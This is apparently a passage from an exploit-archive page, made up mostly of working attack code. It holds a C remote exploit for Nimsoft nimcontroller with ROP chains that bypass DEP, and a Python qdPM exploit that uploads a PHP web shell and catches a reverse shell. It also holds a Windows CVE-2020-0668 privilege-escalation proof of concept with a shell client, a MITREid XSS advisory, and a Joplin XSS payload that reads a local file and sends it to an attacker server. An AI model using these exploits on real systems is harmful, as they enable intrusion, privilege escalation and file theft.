// RAX -> HMODULE GetModuleHandleA(
// ( RCX == *module ) LPCSTR lpModuleName,
// );
[0 ... 14] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret
0x0000000000000000, // (zero out rax)
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[24 ... 33] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x00000000000009dd, // offset to "kernel32.dll"
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[37 ... 51] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x00000001400b741b, // xchg eax, ecx ; ret
0x0000000140002ef6, // pop rax ; ret
0x000000014015e310, // GetModuleHandleA (0x00000000014015E330-20)
0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
[56 ... 72] = 0x0000000140018c42, // ret (17 ROP NOPS)

// RAX -> FARPROC GetProcAddressStub(
// ( RCX == &addr ) HMODULE hModule,
// ( RDX == *module ) lpProcName
// );
0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
0x0000000140002ef6, // pop rax ; ret
0x0000000000000000, // (zero out rax)
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[83 ... 92] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x0000000000000812, // offset to "virtualprotectstub"
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[96 ... 110] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x0000000140135e39, // mov edx,eax ; mov rbx,qword [rsp+0x30] ; mov rbp,qword [rsp+0x38] ; mov rsi,qword [rsp+0x40] ; mov rdi,qword [rsp+0x48] ; mov eax,edx ; add rsp,0x20 ; pop r12; ret
[112 ... 121] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x00000001400d1ab8, // mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret
[123 ... 132] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140111ca1, // xchg rax, r13 ; or al, 0x00 ; ret
0x00000001400cf3d5, // mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[138 ... 143] = 0x0000000140018c42, // ret
0x0000000140002ef6, // pop rax ; ret
0x000000014015e318, // GetProcAddressStub (0x00000000014015e338-20)
0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
[147 ... 163] = 0x0000000140018c42, // ret (17 ROP NOPS)

// RAX -> BOOL VirtualProtectStub(
// ( RCX == *shellcode ) LPVOID lpAddress,
// ( RDX == len(shellcode) ) SIZE_T dwSize,
// ( R8 == 0x0000000000000040 ) DWORD flNewProtect,
// ( R9 == *writeable location ) PDWORD lpflOldProtect,
// );
0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)
0x000000014013d651, // pop r12 ; ret
0x00000001401fb000, // *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400eba74, // or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret
[168 ... 177] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret
0x0000000000000000, //
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[187 ... 196] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x000000000000059f, // (offset to *shellcode)
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[200 ... 214] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x00000001400b741b, // xchg eax, ecx ; ret
0x00000001400496a2, // pop rdx ; ret
0x00000000000005dc, // dwSize
0x00000001400bc39c, // pop r8 ; ret
0x0000000000000040, // flNewProtect
0x00000001400c5f8a, // mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)
[221 ... 237] = 0x0000000140018c42, // ret (17 ROP NOPS)
0x00000001400a0b55, // call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret
[239 ... 258] = 0x0000000140018c42, // ret (20 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)
0x0000000000000000, // (zero out rax)
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[268 ... 277] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x0000000000000317, // (offset to our shellcode)
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[281 ... 295] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x00000001400a9747, // jmp rax
[297 ... 316] = 0x0000000140018c42, // ret (do not remove)
};

/********************************************************************************************************************
* *
* int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]): *
* *
* This function will generate a rop chain and store it in the buffer passed as the first argument. The return *
* value will contain the final ROP chain size. *
* *
********************************************************************************************************************/

#define RSP_ROP (sizeof(rsp_alignment_rop_gadgets)/sizeof(int64_t))
#define DEP_ROP (sizeof(dep_bypass_rop_gadgets) / sizeof(int64_t))

int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[])
{
int i, j, k;
int chain_size = 0;

for (i = 0; i < gadgets; i++)
for (j = 0, k = 0; j < sizeof(rop_gadgets[i]); j++)
{
*buffer++ = ((rop_gadgets[i]>>k)&0xff);
chain_size++;
k += 8;
}

return chain_size;
}

#define MAX_EXPLOIT_BUFFER 9000

unsigned char *generate_exploit_buffer(unsigned char *buffer)
{
int r1, r2, c;
char rop_chain[20000];
unsigned char *heapflip = "\x3d\xfd\x06\x40\x01\x00\x00\x00";

memset(buffer , 0x41, 1000); // Offset
memset(buffer+1000, 0x0F, 33);
memcpy(buffer+1033, heapflip, 8); // HeapFlip - pop rsp ; or al, 0x00 ; add rsp, 0x0000000000000448 ; ret
memset(buffer+1041, 0x41, 7); // Adjustment for the initial chain

/* generate the first rop chain to perform stack alignment */
r1 = generate_rop_chain(rop_chain, RSP_ROP, rsp_alignment_rop_gadgets);
memcpy(buffer+1048, rop_chain, r1);
c = r1 + 1048;

/* adjust for second stage */
memset(buffer+c, 0x57, 631);
c += 631;

/* generate the second rop chain to perform DEP bypass */
r2 = generate_rop_chain(rop_chain, DEP_ROP, dep_bypass_rop_gadgets);
memcpy(buffer+c, rop_chain, r2);
c += r2;

/* ROP CHAIN MUST BE 3500 BYTES OR EXPLOITATION WILL FAIL */
memset(buffer+c, 0x45, (3500 - (r1 + r2 + 631)));
c += (3500 - (r1 + r2 + 631));

memcpy(buffer+c, "kernel32.dll\x00", 13);
c += 13;

memcpy(buffer+c, "VirtualProtect\x00", 15);
c += 15;

/* NOPS */
memset(buffer+c, 0x90, 500);
c += 500;

/* shellcode */
memcpy(buffer+c, shellcode, (sizeof(shellcode)-1));
c += (sizeof(shellcode)-1);

/* filler */
memset(buffer+c, 0x10, (8000 - c));

return buffer;
}

#define MAX_ARGUMENTS 5

void help()
{
printf("usage: ./singAboutMeImDyingOfThirst [-h] [-t TARGET] [-p PORT] [ARG=VAL]\n\n");
printf("Sing About Me Im Dying Of Thirst - A nimcontroller's worst nightmare\n\n");
printf("optional arguments:\n");
printf(" -h, --help show this help message and exit\n");
printf(" -t TARGET, --target TARGET target host to probe\n");
printf(" -p PORT, --port PORT nimcontroller port\n\n");
printf("examples:\n");
printf(" ./singAboutMeImDyingOfThirst -t 192.168.88.130 -p 48000\n");
exit(0);
}

int main(int argc, char **argv)
{
int c;
int sock;
int rport;
NimsoftProbe *probe;
struct sockaddr_in srv;
char *rhost, *port;
char *params[MAX_ARGUMENTS];
unsigned char *exploit_buff;
unsigned char buffer[MAX_EXPLOIT_BUFFER];
unsigned char final_buffer[MAX_EXPLOIT_BUFFER] = "directory=";

char *exploit[] = { "directory_list", final_buffer };

while (1)
{
static struct option long_options[] =
{
{"help", no_argument, 0, 'h'},
{"target", required_argument, 0, 't'},
{"port", required_argument, 0, 'p'},
{0, 0, 0}
};

int option_index = 0;

c = getopt_long (argc, argv, "ht:p:", long_options, &option_index);

if (c == -1)
break;

switch(c)
{
case 't':
rhost = optarg;
break;
case 'p':
port = optarg;
break;
case 'h':
default:
help();
break;
}
}

if (argc < 5)
help();

rport = atoi(port);

if (check_version(rhost, rport) != 0) {
printf("%s Failed to connect to target host\n", PE);
exit(-1);
}

if (check_vulnerability(rhost, rport) != 0) {
printf("%s Target failed vulnerability tests\n", PE);
exit(-1);
}

printf("%s Generating evil nimbus probe, we're watching\n", PI);
exploit_buff = generate_exploit_buffer(buffer);
memcpy(final_buffer+10, exploit_buff, 8000);
probe = packet_gen(exploit, 2, 8000);

printf("%s Sending evil buffer, R.I.P RIP - wetw0rk\n", PG);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return -1;

srv.sin_addr.s_addr = inet_addr(rhost);
srv.sin_port = htons(rport);
srv.sin_family = AF_INET;

if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
return -1;

send(sock, probe->packet, probe->length, 0);

free(probe);
close(sock);
}

qdPM Remote Code Execution

$
0
0

qdPM versions prior to 9.1 suffer from a remote shell upload vulnerability that allows for remote code execution.


MD5 | df9b1db93b79b6c69b0ccf3415728a46

#!/usr/bin/python

#-------------------------------------------------------------------------------------
# Title: qdPM Webshell Upload + RCE Exploit (qdPMv9.1 and below) (CVE-2020-7246)
# Author: Tobin Shields (@TobinShields)
#
# Description: This is an exploit to automatically upload a PHP web shell to
# the qdPM platform via the "upload a profile photo" feature.
# This method also bypasses the fix put into place from a previous CVE
#
# Usage: In order to leverage this exploit, you must know the credentials of
# at least one user. Then, you should modify the values highlighted below.
# You will also need a .php web shell payload to upload. This exploit
# was built and tested using the PHP script built by pentestmonkey:
# https://github.com/pentestmonkey/php-reverse-shell
#-------------------------------------------------------------------------------------

# Imports
from requests import Session
from bs4 import BeautifulSoup as bs
import socket
from multiprocessing import Process
import time

# CHANGE THESE VALUES-----------------------------------------------------------------
login_url = "http://[victim_domain]/path/to/qdPM/index.php/login"
username = "jsmith@example.com"
password = "Pa$$w0rd"
payload = "/path/to/payload.php"
listner_port = 1234 # This should match your PHP payload
connection_delay = 2 # Increase this value if you have a slow connection and are experiencing issues
# ------------------------------------------------------------------------------------

# Build the myAccout URL from the provided URL
myAccount_url = login_url.replace("login", "myAccount")

# PROGRAM FUNCTIONS -----------------------------------------------------------------
# Utility function for anytime a page needs to be requested and parsed via bs4
def requestAndSoupify(url):
page = s.get(url)
soup = bs(page.content, "html.parser")
return soup

# Function to log into the application, and supply the correct username/password
def login(url):
# Soupify the login page
login_page = requestAndSoupify(url)
# Grab the csrf token
token = login_page.find("input", {"name": "login[_csrf_token]"})["value"]
# Build the POST values
login_data = {
"login[email]": username,
"login[password]": password,
"login[_csrf_token]": token
}
# Send the login request
s.post(login_url, login_data)

# Function to get the base values for making a POST request from the myAccount page
def getPOSTValues():
myAccount_soup = requestAndSoupify(myAccount_url)
# Search for the 'base' POST data needed for any requests
u_id = myAccount_soup.find("input", {"name": "users[id]"})["value"]
token = myAccount_soup.find("input", {"name": "users[_csrf_token]"})["value"]
u_name = myAccount_soup.find("input", {"name": "users[name]"})["value"]
u_email = myAccount_soup.find("input", {"name": "users[email]"})["value"]
# Populate the POST data object
post_data = {
"users[id]": u_id,
"users[_csrf_token]": token,
"users[name]": u_name,
"users[email]": u_email,
"users[culture]": "en" # Keep the language English--change this for your victim locale
}
return post_data

# Function to remove the a file from the server by exploiting the CVE
def removeFile(file_to_remove):
# Get base POST data
post_data = getPOSTValues()
# Add the POST data to remove a file
post_data["users[photo_preview]"] = file_to_remove
post_data["users[remove_photo]"] = 1
# Send the POST request to the /update page
s.post(myAccount_url + "/update", post_data)
# Print update to user
print("Removing " + file_to_remove)
# Sleep to account for slow connections
time.sleep(connection_delay)

# Function to upload the payload to the server
def uploadPayload(payload):
# Get payload name from supplied URI
payload_name = payload.rsplit('/', 1)[1]
# Request page and get base POST files
post_data = getPOSTValues()
# Build correct payload POST header by dumping the contents
payload_file = {"users[photo]": open(payload, 'rb')}
# Send POST request with base data + file
s.post(myAccount_url + "/update", post_data, files=payload_file)
# Print update to user
print("Uploading " + payload_name)
# Sleep for slow connections
time.sleep(connection_delay)

# A Function to find the name of the newly uploaded payload
# NOTE: We have to do this because qdPM adds a random number to the uploaded file
# EX: webshell.php becomes 1584009-webshell.php
def getPayloadURL():
myAccount_soup = requestAndSoupify(myAccount_url)
payloadURL = myAccount_soup.find("img", {"class": "user-photo"})["src"]
return payloadURL

# Function to handle creating the webshell listener and issue commands to the victim
def createBackdoorListener():
# Set up the listening socket on localhost
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "0.0.0.0"
port = listner_port # Specified at the start of this script by user
server_socket.bind((host, port))
server_socket.listen(2)
victim, address = server_socket.accept()
# Print update to user once the connection is made
print("Received connection from: " + str(address))

# Simulate a terminal and build a pusdo-prompt using the victem IP
prompt = "backdoor@" + str(address[0]) + ":~$ "

# Grab the first response from the victim--this is usually OS info
response = victim.recv(1024).decode('utf-8')
print(response)
print("\nType 'exit' at any time to close the connection")

# Maintain the connection and send data back and forth
while True:
# Grab the command from the user
command = input(prompt)
# If they type "exit" then close the socket
if 'exit' in command:
victim.close()
server_socket.close()
print("Disconnecting, please wait...")
break
# For all other commands provided
else:
# Encode the command to be properly sent via the socket & send the command
command = str.encode(command + "\n")
victim.send(command)
# Grab the response to the command and decode it
response = victim.recv(1024).decode('utf-8')
# For some odd reason you have to hit "enter" after sending the command to receive the output
# TODO: Fix this so it works on a single send? Although it might just be the PHP webshell
victim.send(str.encode("\n"))
response = victim.recv(1024).decode('utf-8')
# If a command returns nothing (i.e. a 'cd' command, it prints a "$"
# This is a confusing output so it will omit this output
if response.strip() != "$":
print(response)

# Trigger the PHP to run by making a page request
def triggerShell(s, payloadURL):
pageReq = s.get(payloadURL)

# MAIN FUNCTION ----------------------------------------------------------------------
# The main function of this program establishes a unique session to issue the various POST requests
with Session() as s:
# Login as know user
login(login_url)
# Remove Files
# You may need to modify this list if you suspect that there are more .htaccess files
# However, the default qdPM installation just had these two
files_to_remove = [".htaccess", "../.htaccess"]
for f in files_to_remove:
removeFile(f)
# Upload payload
uploadPayload(payload)
# Get the payload URL
payloadURL = getPayloadURL()
# Start a thread to trigger the script with a web request
process = Process(target=triggerShell, args=(s, payloadURL))
process.start()
# Create the backdoor listener and wait for the above request to trigger
createBackdoorListener()

Microsoft Windows Kernel Privilege Escalation

$
0
0

This vulnerability allows local attackers to escalate privileges on affected installations of Microsoft Windows. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the Tracing functionality used by the Routing and Remote Access service. The issue results from the lack of proper permissions on registry keys that control this functionality. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of SYSTEM.


MD5 | 10f155214b43543ed6228cacf1da3f77

# Exploit Title: Windows Kernel Elevation of Privilege Vulnerability +
PWN-OS-FAKE UPDATE Windows 10 - Local
# Author: nu11secur1ty
# Date: 2020-02-27
# Vendor: Microsoft
# Link:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0668
# CVE: 2020-0668


[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)
[+] Website: https://www.nu11secur1ty.com/
[+] Source:
https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-0668
[+] twitter.com/nu11secur1ty


[Exploit Program Code]
# 2020-0668-WKEPV

- - 2020-0668-WKEPV.cpp

#include <iostream>
#include "MiniUsoClient.h"
#include "TcpClient.h"

#define TEMPO 2000

int wmain(int argc, wchar_t** argv)
{
TcpClient tcpClient;
int iRes = 0;

// Try to trigger DLL loading with 'StartScan'
wprintf_s(L"[*] Using UpdateOrchestrator->StartScan()\n");
MiniUsoClient miniUsoClient;
if (!miniUsoClient.Run(USO_STARTSCAN))
return 1;


//wprintf_s(L"[*] Waiting for the DLL to be loaded...\n");
Sleep(TEMPO);

iRes = tcpClient.connectTCP("127.0.0.1", "1337");

if (iRes != 0)
{
wprintf_s(L"[*] Retrying with
UpdateOrchestrator->StartInteractiveScan()\n");
if (!miniUsoClient.Run(USO_STARTINTERACTIVESCAN))
return 2;

Sleep(TEMPO);

iRes = tcpClient.connectTCP("127.0.0.1", "1337");
}

if (iRes != 0)
{
wprintf_s(L"[*] Retrying with UpdateOrchestrator->StartDownload()\n");
if (!miniUsoClient.Run(USO_STARTDOWNLOAD))
return 3;

Sleep(TEMPO);

iRes = tcpClient.connectTCP("127.0.0.1", "1337");
}

if (iRes != 0)
{
wprintf_s(L"[-] Exploit failed.");
}
else
{
wprintf_s(L"[+] Exploit successfull @nu11secur1ty");
}

return 0;
}


-----------------------------------------------------------------
- - MiniUsoClient.cpp

#include "MiniUsoClient.h"
#pragma comment(lib, "rpcrt4.lib")

MiniUsoClient::MiniUsoClient()
{
HRESULT hResult;

hResult = CoInitializeEx(0, COINIT_MULTITHREADED);
if (FAILED(hResult))
{
wprintf_s(L" |__ CoInitializeEx() failed. Error code = 0x%08X\n",
hResult);
_ready = false;
}
else
{
_ready = true;
}
}

MiniUsoClient::~MiniUsoClient()
{
CoUninitialize();
}

void MiniUsoClient::ThrowOnError(HRESULT hResult)
{
if (hResult != 0)
{
throw _com_error(hResult);
}
}

bool MiniUsoClient::Run(UsoAction action)
{
HRESULT hResult;

if (this->_ready)
{
wprintf_s(L" |__ Creating instance of 'UpdateSessionOrchestrator'... ");

GUID CLSID_UpdateSessionOrchestrator = { 0xb91d5831, 0xb1bd, 0x4608, {
0x81, 0x98, 0xd7, 0x2e, 0x15, 0x50, 0x20, 0xf7 } };
IUpdateSessionOrchestratorPtr updateSessionOrchestrator;
hResult = CoCreateInstance(CLSID_UpdateSessionOrchestrator, nullptr,
CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&updateSessionOrchestrator));
if (FAILED(hResult))
{
wprintf_s(L"\n |__ CoCreateInstance() failed. Error code = 0x%08X\n",
hResult);
CoUninitialize();
return false;
}

wprintf_s(L"Done.\n");


IUsoSessionCommonPtr usoSessionCommon;
GUID IID_IUsoSessionCommon = { 0xfccc288d, 0xb47e, 0x41fa, { 0x97, 0x0c,
0x93, 0x5e, 0xc9, 0x52, 0xf4, 0xa4 } };
try
{
wprintf_s(L" |__ Creating a new Update Session... ");
updateSessionOrchestrator->CreateUpdateSession(1, &IID_IUsoSessionCommon,
&usoSessionCommon);
wprintf_s(L"Done.\n");

//wprintf_s(L" |__ Calling 'CoSetProxyBlanket()'... ");
ThrowOnError(CoSetProxyBlanket(usoSessionCommon, RPC_C_AUTHN_DEFAULT,
RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_DEFAULT,
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, NULL));
//wprintf_s(L"Done.\n");

switch (action)
{
case USO_STARTSCAN:
wprintf(L" |__ Calling 'StartScan'... ");
ThrowOnError(usoSessionCommon->Proc21(0, 0, L"ScanTriggerUsoClient"));
wprintf(L"Done.\n");
break;
case USO_STARTDOWNLOAD:
wprintf(L" |__ Calling 'StartDownload'... ");
ThrowOnError(usoSessionCommon->Proc22(0));
wprintf(L"Done.\n");
break;
case USO_STARTINTERACTIVESCAN:
wprintf(L" |__ Calling 'StartInteractiveScan'... ");
ThrowOnError(usoSessionCommon->Proc21(0xffffffff, 0,
L"ScanTriggerUsoClientInteractive"));
wprintf(L"Done.\n");
break;
}

}
catch (const _com_error& error)
{
wprintf_s(L"\n |__ Something went wrong (%08X - \"%ls\").\n",
error.Error(), error.ErrorMessage());
return false;
}
}
else
{
return false;
}

return true;
}


-------------------------------------------------------------------
- - TcpClient.cpp

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
#include <iostream>

#include "TcpClient.h"

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")

TcpClient::TcpClient(){}

TcpClient::~TcpClient()
{
WSACleanup();
}

int TcpClient::connectTCP(const char* hostname, const char* port)
{
WSADATA wsaData;
SOCKET socketClient = INVALID_SOCKET;
struct addrinfo* result = NULL, * ptr = NULL, hints;
int iResult = 0;
//int recvbuflen = BUFSIZE;
DWORD dwThreadIdOut;
DWORD dwThreadIdIn;
HANDLE hThreadOut;
HANDLE hThreadIn;

// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
wprintf_s(L"WSAStartup failed with error: %d\n", iResult);
return 1;
}

ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;

// Resolve the server address and port
iResult = getaddrinfo(hostname, port, &hints, &result);
if (iResult != 0) {
wprintf_s(L"getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 1;
}

// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

// Create a SOCKET for connecting to server
socketClient = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (socketClient == INVALID_SOCKET) {
wprintf_s(L"socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 1;
}

// Connect to server.
iResult = connect(socketClient, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(socketClient);
socketClient = INVALID_SOCKET;
continue;
}
break;
}

freeaddrinfo(result);

if (socketClient == INVALID_SOCKET) {
wprintf_s(L"[-] Unable to connect to server!\n");
WSACleanup();
return 1;
}

// Create a thread to receive data from the socket in an infinite loop
hThreadOut = CreateThread(NULL, 0, ReceiveDataFromSocket,
(LPVOID)socketClient, 0, &dwThreadIdOut);
if (hThreadOut == NULL)
{
wprintf_s(L"[-] Create thread failed: ReceiveDataFromSocket\n");
return -1;
}

// Create a thread to read user input in an infinite loop
hThreadIn = CreateThread(NULL, 0, SendDataFromConsole,
(LPVOID)socketClient, 0, &dwThreadIdIn);
if (hThreadIn == NULL)
{
wprintf_s(L"[-] Create thread failed: SendDataFromConsole\n");
return -1;
}

wprintf_s(L"[+] Spawning shell...\n");

// Wait for the socket to be closed
WaitForSingleObject(hThreadOut, INFINITE);

// shutdown the connection since no more data will be sent
iResult = shutdown(socketClient, SD_SEND);
if (iResult == SOCKET_ERROR) {
wprintf_s(L"shutdown failed with error: %d\n", WSAGetLastError());
closesocket(socketClient);
WSACleanup();
return 1;
}

// cleanup
CloseHandle(hThreadIn);
CloseHandle(hThreadOut);
closesocket(socketClient);
WSACleanup();

return 0;
}

DWORD WINAPI TcpClient::ReceiveDataFromSocket(LPVOID lpvParam)
{
int iResult;
SOCKET socketClient = (SOCKET)lpvParam;
char bufReceive[BUFSIZE];

while (true)
{
ZeroMemory(bufReceive, BUFSIZE);
iResult = recv(socketClient, bufReceive, BUFSIZE, 0);
if (iResult > 0)
{
printf("%s", bufReceive);
}
else
break;
}
return 0;
}

DWORD WINAPI TcpClient::SendDataFromConsole(LPVOID lpvParam)
{
HANDLE hStdin;
BOOL bSuccess = FALSE;
DWORD dwRead = 0;
SOCKET socketClient = (SOCKET)lpvParam;
int iResult = 0;
char bufCmd[BUFSIZE];
char* pCr = { 0 };
char* pLf = { 0 };

// Get a handle on standard input
hStdin = GetStdHandle(STD_INPUT_HANDLE);
if (hStdin == INVALID_HANDLE_VALUE)
return 1;

while (true)
{
bSuccess = ReadFile(hStdin, bufCmd, BUFSIZE, &dwRead, NULL);
if (bSuccess == FALSE)
break;

pCr = strchr(bufCmd, '\r');
if (pCr != NULL)
{
pLf = strchr(bufCmd, '\n');
if (pLf != NULL)
{
pCr[0] = '\n';
pLf[0] = 0;
}
}

iResult = send(socketClient, bufCmd, (int)strlen(bufCmd), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
break;
}
}
return 0;
}


- - PWN-OS-FAKE-UPDATE

[link]
https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-0668/PWN-Fake-UPDATE-WIN10/Microupdate

#######################################################################

[Vendor]
Microsoft


[Vulnerability Type]
Windows Kernel Elevation of Privilege Vulnerability

[CVE Reference]
An elevation of privilege vulnerability exists in the way that the Windows
Kernel handles objects in memory.
An attacker who successfully exploited the vulnerability could execute code
with elevated permissions.
To exploit the vulnerability, a locally authenticated attacker could run a
specially crafted application.
The security update addresses the vulnerability by ensuring the Windows
Kernel properly handles objects in memory.

[Security Issue]
This vulnerability allows local attackers to escalate privileges on
affected installations of Microsoft Windows.
An attacker must first obtain the ability to execute low-privileged code on
the target system in order to exploit this vulnerability.
The specific flaw exists within the Tracing functionality used by the
Routing and Remote Access service.
The issue results from the lack of proper permissions on registry keys that
control this functionality.
An attacker can leverage this vulnerability to escalate privileges and
execute code in the context of SYSTEM.


[Network Access]
Local


[Video]
https://www.youtube.com/watch?v=ml2feXa6cCY


[Disclosure Timeline]
Published: 02/11/2020


[Conclusion]
The building of a new module for restricting and checking a malicious
execution code from any local user on the machine.
For example, please see:
https://github.com/nu11secur1ty/insmod_block


@nu11secur1ty
https://www.nu11secur1ty.com/

BR

--

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.blogspot.com/>

MITREid 1.3.3 Cross Site Scripting

$
0
0

MITREid versions 1.3.3 and below suffer from a cross site scripting vulnerability.


MD5 | 4af01c468a0b4372b4ec0d37a9c3cbb6

MITREid Connect OpenID-Connect-Java-Spring-Server
<https://github.com/mitreid-connect/OpenID-Connect-Java-Spring-Server> version
1.3.3 and earlier is vulnerable to Cross-Site Scripting; the users name is
included in *topbar.tag* and *header.tag* without being sanitized. A user
can set their name to a value like:

Test</script><script>alert(1)</script>

Which will be included in JSON used by a JavaScript function in *header.tag*
:

// get the info of the current user, if available (null otherwise)
> function getUserInfo() {
> return {"sub":"12318767","name":"
> *Test</script><script>alert(1)</script>*
> Test","preferred_username":"Test","given_name":"Test</script><script>alert(1)</script>","family_name":"Test","email":"
> test@test.com","email_verified":true};}


A name such as:

Test<script>alert(1)</script>

would also work; it is included in the page when menus are created by
*topbar.tag*:

<!-- use a simplified user button system when collapsed -->
> <ul class="nav hidden-desktop">
> <li><a href="manage/#user/profile">*Test<script>alert(1)</script>*
> Test</a></li>
> <li class="divider"></li>
> <li><a href="" class="logoutLink"><i class="icon-remove"></i> Log
> out</a></li>


This issue has been reported on Github
<https://github.com/mitreid-connect/OpenID-Connect-Java-Spring-Server/issues/1521>
with
patches pending.

A write up is available at:
https://www.securitymetrics.com/blog/MITREid-Connect-cross-site-scripting-CVE-2020-5497



Joplin Desktop 1.0.184 Cross Site Scripting

$
0
0

Joplin Desktop version 1.0.184 suffers from a cross site scripting vulnerability.


MD5 | a39577ab43a6ccb0a439fe8666c863ac

# Exploit Title: Joplin Desktop 1.0.184 - Cross-Site Scripting
# Exploit Author: Javier Olmedo
# Date: 2020-02-27
# Vendor: Laurent Cozic
# Software Link: https://github.com/laurent22/joplin/archive/v1.0.184.zip
# Affected Version: 1.0.184 and before
# Patched Version: 1.0.185
# Category: Remote
# Platform: Windows
# Tested on: Windows 10 Pro
# CWE: https://cwe.mitre.org/data/definitions/79.html
# CVE: 2020-9038
# References:
# https://github.com/JavierOlmedo/CVE-2020-9038
# https://github.com/laurent22/joplin/commit/3db47b575b9cb0a765da3d283baa2c065df0d0bc

# 1. Technical Description
# Joplin Desktop version 1.0.184 and before are affected by Cross-Site Scripting
# vulnerability through the malicious note. This allows a malicious user
# read arbitrary files of system.

# 2. Proof Of Concept (PoC)
# 2.1 Start a webserver to receive the connection in evil machine (you can use a python server).

python -m SimpleHTTPServer 8080

# 2.2 Upload exploit.js file to your web server (Change your IP, PORT and USER)

function readTextFile(file){
var rawFile = new XMLHttpRequest();
rawFile.open("GET", file, false);
rawFile.onreadystatechange = function (){
if(rawFile.readyState === 4){
if(rawFile.status === 200 || rawFile.status == 0){
allText = rawFile.responseText;
//alert(allText);
var img = document.createElement('img');
img.src = "http://[IP:PORT]/" + allText;
document.body.appendChild(img)
}
}
}
rawFile.send(null);
}
readTextFile("file:///C:/Users/[USER]/Desktop/SECRET.TXT");
//readTextFile("file:///C:/Windows/System32/drivers/etc/hosts");

# 2.3 Create a secret.txt file with any content in victim desktop.

# 2.4 Create a New note in Joplin Desktop and copy next payload in note body content (change your base64).

